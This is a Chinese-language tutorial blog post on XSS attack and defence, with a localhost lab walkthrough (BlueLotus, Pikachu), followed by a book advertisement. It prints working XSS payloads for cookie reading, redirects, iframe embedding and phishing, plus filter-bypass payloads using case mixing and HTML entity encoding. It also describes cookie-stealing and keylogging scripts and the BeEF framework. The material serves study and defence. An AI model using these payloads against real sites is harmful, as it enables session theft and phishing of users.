XSS漏洞攻防

Posted Edison.W

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS漏洞攻防相关的知识,希望对你有一定的参考价值。

目录

XSS攻击简介

  • xss (Cross Site Scripting):跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS。

  • 主要基于java script (JS) 完成恶意攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。攻击者在网页中嵌式客户端脚本(通常是javascript的恶意脚本),当用户使用浏览器加载被嵌入恶意代码的网页时,恶意脚本代码就会在用户的浏览器执行,造成跨站脚本攻击。

  • 微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。

  • 形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
    因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
    输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
    输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

XSS攻击的危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马 让更多人的受害
7、控制受害者机器向其它网站发起攻击 卖肉机

XSS攻击分类

  • 反射型
    • 非持久性跨站点脚本攻击
    • 攻击是一次性的,仅仅对当前的页面访问产生影响
  • 存储型
    • 持久型跨站点脚本
    • 攻击者的数据存储在服务器端,攻击行为将伴随着供给数据一直存在
  • dom型
    • 既可能是反射型又可能是存储型

XSS产生原因

  • web应用对用户的输入过滤不严谨

  • 攻击者写入恶意的脚本代码到网页中

  • 用户访问了含有恶意代码的网页

  • 恶意脚本就会被浏览器解析执行并导致用户被攻击

  • 反射型XSS的流程:

    • hacker发送带有xss恶意脚本的链接向用户
    • 用户点击了链接访问正常服务器
    • 正常服务器将正常的页面返回到用户浏览器
    • 用户浏览器解析了网页的恶意xss代码向恶意服务器发起请求
    • hacker从自己搭建的恶意服务器中获取到用户的提交信息
  • 存储型XSS攻击流程

    • hacker在目标服务器上构造xss恶意脚本,保存在数据库中
    • 用户在网站登录状态下访问了目标服务器,查看了存在恶意脚本的页面
    • 网站将xss和正常页面返回到用户浏览器
    • 用户浏览器解析了网页的xss恶意代码向恶意服务器发起请求
    • hacker从自己搭建的恶意服务器中获取用户提交的信息

实战

靶场搭建

BlueLotus
我这里选择的清华大学的是蓝莲花靶场(BlueLotus)
下载BlueLotus_XSSReceiver-master解压缩到phpstudy的WWW目录下
然后打开PHPstudy

成功之后是这样的

然后访问本地ip,127.0.0.1:84

点安装
设置密码,然后下拉点提交


输入密码登录

登录界面

构造xss攻击脚本

弹窗警告

<script>alert(1)</script>


盗取用户cookie
<script>alert(document.cookie)</script>

页面嵌套

<iframe style="overflow:hidden; width:520px;height:400px;position:fixed;left:500px;top:400px;border:none;margin:0px;padding:0px;"src="http://127.0.0.1:82/ "></iframe>

  • 可以看到页面里面又套了一个页面

页面重定向

<script> window.location= "https://www.baidu.com/" </script>
<script>location.href= "https://www.baidu.com/"</script>

弹窗警告并重定向

<script>alert("请移步到我们的新站");location.href="https://www.baidu.com/"</script>


  • 点击确定以后就加载到了目标网站

图片标签利用

图像标签,有一定的隐蔽性
<img src= "#"  onerror= alert('欢迎来钓鱼')>

绕开过滤的脚本

绕开过滤的脚本
大小写 <ScrIpt>alert('xss')</SCRipt>
字符编码 字符编码采用URL、Base64、HTML等编码
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

可以用html编码进行绕过

存储型xss基本演示

危害最大的xss
写好一个脚本

有了弹窗

然后复制url再次打开发现弹窗还在,也就是说每一个访问这个网页的人都会弹出这个对话框

访问恶意代码(网站种马)

  • 能诱导用户访文恶意网站的攻击文件xss.js。获取用户cookie

XSS获取键盘记录

将rk.js改为自己ip

然后在pikachuxss平台输入

这样只要用户在输入框输入点击提交,后台就会在pkxss_keypress_result.php文件中记录下来

XSS盲打

进入XSs盲打
随便输入

输入
![!](https://img-blog.csdnimg.cn/7d7b47e3bb0e4f21b1f16c77e6617a9d.png)
访问http://127.0.0.1:81/vul/xss/xssblind/xss_blind.php输入账户密码。就还可以看到有一个弹窗

然后点击确定后还有记录

htmlspecialchars()函数

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
预定义的字符是:
&(和号) 成为&amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &apos;
< (小于) 成为 &lt;
>  (大于) 成为 &gt;


源码

自动xss攻击

  • beEF
    • 介绍:Browser Exploitation Framework (BeEF)BeEF是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单
    • 官网点这里
    • 功能
      • 信息收集
      • 持久化控制
      • 社工
      • 渗透攻击

安全防御

1.对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。

2.在javascript中加入多个tab键,得到
< IMG SRC=“jav ascript:alert(‘XSS’);” >;
  
3.在javascript中加入 编码字符,得到< IMG SRC=“javascript:alert(‘XSS’);” >;

4.在javascript中加入字符,得到
  < IMG SRC=“javascript:alert(‘XSS’);” >;

《Web安全攻防》配套视频之XSS实验平台搭建


《Web安全攻防-渗透测试实战指南》配套视频

第三期来啦!



本期视频内容为

第2章 搭建漏洞环境及实战

2.5 搭建XSS测试平台


如果学习有疑问,

可以登录官网:

https://www.ms08067.com


《Web安全攻防》配套视频之XSS实验平台搭建


书籍介绍

《Web安全攻防-渗透测试实战指南》,第一版次于2018年7月出版,上线后半年加印6次,广受好评。得到了业内朋友多方面认可,着实是一本不可多得的web安全学习之书。

本书深入讲解Web安全主流漏洞,配合代码,实战,加深对每个漏洞的概念。


推荐

本书的实战性极强,从“敏感信息收集”和“社会工程学”阶段出发,到后期的内网渗透与提权。

本书的进阶型好,深入浅出引导读者从入门到进阶。

本书对Web渗透技术原理的解读,透彻但不拖沓,对高效学习很有帮助,属于干货型分享。

本书介绍了一些在非常规渗透时用的技术和经验。

最后,本书还给出来了常用工具和利器的详解使用方法和步骤。



张胜生

北京中安国发信息技术研究院院长

工信部/教育部网络安全领域专家

省级产业教授/研究生导师

北京市级百名网络安全专家负责人

CISSP认证考试指南译者/资深讲师

中国信息安全认证中心应急认证体系牵头人



备注:

还没有书籍的朋友可以自行购买,

配合视频学习,效果更佳!

最后二天,JD满100减50

https://item.jd.com/12401707.html

《Web安全攻防》配套视频之XSS实验平台搭建











2.3 搭建XSS漏洞环境


2.3 搭建XSS测试平台

https://pan.baidu.com/s/1MPU2W8v3pBQVb6SMA485gw
提取码:v19j




《Web安全攻防》配套视频之XSS实验平台搭建


来源:Ms08067安全实验室


往期回顾

1.

2.

3.

《Web安全攻防》配套视频之XSS实验平台搭建


界世的你当

作你的肩膀


 ms08067安全实验室



以上是关于XSS漏洞攻防的主要内容,如果未能解决你的问题,请参考以下文章

从零学习安全测试,从XSS漏洞攻击和防御开始

从零学习安全测试,从XSS漏洞攻击和防御开始

前端黑客攻防之XSS攻击

Web安全黑铁到传说五.常见漏洞攻防之XSS篇基础详解(数据源保护持续化)

网站攻防之CSRF和XSS跨站脚本攻击

《Web安全攻防》配套视频之XSS实验平台搭建